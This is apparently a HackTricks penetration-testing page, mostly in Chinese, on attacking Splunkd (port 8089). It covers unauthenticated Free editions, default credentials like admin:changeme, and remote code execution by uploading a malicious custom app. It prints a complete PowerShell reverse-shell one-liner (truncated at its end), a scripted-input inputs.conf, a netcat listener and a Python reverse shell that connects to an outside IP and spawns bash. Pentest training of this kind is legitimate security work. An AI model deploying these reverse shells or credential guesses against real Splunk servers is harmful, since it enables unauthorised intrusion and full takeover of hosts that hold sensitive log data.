7.9 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
基本信息
Splunk 是一个 日志分析工具,在 收集、分析和可视化数据 中发挥着至关重要的作用。虽然其最初的目的并不是作为 SIEM(安全信息和事件管理) 工具,但它在 安全监控 和 业务分析 领域获得了广泛的应用。
Splunk 部署通常用于存储 敏感数据,如果攻击者成功入侵系统,它可以成为 潜在攻击者的重要信息来源。 默认端口: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk web 服务器默认运行在 8000 端口。 {% endhint %}
枚举
免费版
Splunk Enterprise 试用版在 60 天后转换为 免费版,该版本 不需要身份验证。系统管理员安装 Splunk 的试用版以进行测试并 随后被遗忘 是很常见的。这将自动转换为没有任何形式身份验证的免费版,从而在环境中引入安全漏洞。一些组织可能由于预算限制选择免费版,而没有完全理解没有用户/角色管理的影响。
默认凭据
在旧版本的 Splunk 中,默认凭据是 admin:changeme
,这些凭据在登录页面上方便地显示。
然而,最新版本的 Splunk 在 安装过程中设置凭据。如果默认凭据无效,值得检查常见的弱密码,如 admin
、Welcome
、Welcome1
、Password123
等。
获取信息
登录 Splunk 后,我们可以 浏览数据、运行 报告、创建 仪表板、从 Splunkbase 库 安装应用程序,并安装自定义应用程序。
您还可以运行代码:Splunk 有多种 运行代码 的方式,例如服务器端 Django 应用程序、REST 端点、脚本输入和警报脚本。在 Splunk 服务器上获得远程代码执行的常见方法是通过使用脚本输入。
此外,由于 Splunk 可以安装在 Windows 或 Linux 主机上,可以创建脚本输入来运行 Bash、PowerShell 或 Batch 脚本。
Shodan
Splunk build
RCE
创建自定义应用程序
自定义应用程序可以运行 Python、Batch、Bash 或 PowerShell 脚本。
请注意,Splunk 自带 Python,因此即使在 Windows 系统中,您也能够运行 Python 代码。
您可以使用 这个 Splunk 包来帮助我们。该 repo 中的 bin
目录有 Python 和 PowerShell 的示例。让我们一步一步来完成这个过程。
为此,我们首先需要使用以下目录结构创建一个自定义 Splunk 应用程序:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
目录将包含我们打算运行的任何 脚本(在这种情况下,是一个 PowerShell 反向 shell),默认目录将有我们的 inputs.conf
文件。我们的反向 shell 将是一个 PowerShell 一行代码:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
The inputs.conf 文件告诉 Splunk 要运行哪个脚本 以及其他条件。在这里,我们将应用程序设置为启用,并告诉 Splunk 每 10 秒运行一次脚本。间隔始终以秒为单位,输入(脚本)仅在此设置存在时才会运行。
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
我们需要一个 .bat
文件,当应用程序部署时运行并执行 PowerShell 一行代码。
下一步是选择 Install app from file
并上传应用程序。
在上传恶意自定义应用程序之前,让我们使用 Netcat 或 socat 启动一个监听器。
sudo nc -lnvp 443
listening on [any] 443 ...
在 Upload app
页面,点击浏览,选择我们之前创建的 tarball,然后点击 Upload
。一旦我们上传了应用程序,应用程序的状态将自动切换为 Enabled
,这时会收到一个 反向 shell。
Linux
如果我们处理的是 Linux 主机,我们需要在创建 tarball 和上传自定义恶意应用程序之前 编辑 rev.py
Python 脚本。其余的过程将是相同的,我们将在 Netcat 监听器上获得反向 shell 连接,然后开始进行。
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
在以下页面中,您可以找到有关如何滥用此服务以提升权限并获得持久性的解释:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
{% hint style="success" %}
学习和实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。